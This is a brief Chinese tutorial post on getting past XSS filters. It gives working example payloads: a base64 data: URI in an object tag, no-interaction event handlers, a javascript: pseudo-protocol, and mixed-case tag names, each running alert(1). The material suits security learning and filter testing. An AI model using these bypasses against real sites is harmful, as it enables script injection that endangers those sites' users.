XSS过滤绕过

本文详细介绍了XSS过滤的多种绕过方法,包括脚本标签的伪协议利用、事件处理器的非交互式执行、标签名称大小写及空格绕过、HTML编码和URL解码的双重利用、字符集转换以及JavaScript中的Unicode转义和eval替代技术。对于Web安全和前端开发者来说,了解这些技巧至关重要。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS过滤的绕过

脚本标签

如果script被过滤的话,可以使用伪协议的方法:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为base64编码的<script>alert(1)</script>

事件处理器

不需要用户交互的可执行js的事件处理器:

onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)

onpropertychange

onbeforeactivate

onfocusin

onactivate

注意:在HTML5中,结束标签中也可以使用事件处理器

脚本伪协议

脚本伪协议可以用在各种位置,在需要URL的属性中执行行内脚本,如:

<object data=javascript:alert(1)>

标签名称

通过改变标签名称的大小写,可以避开最简单的过滤:

<iMg onerror=alert(1) src=a><

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值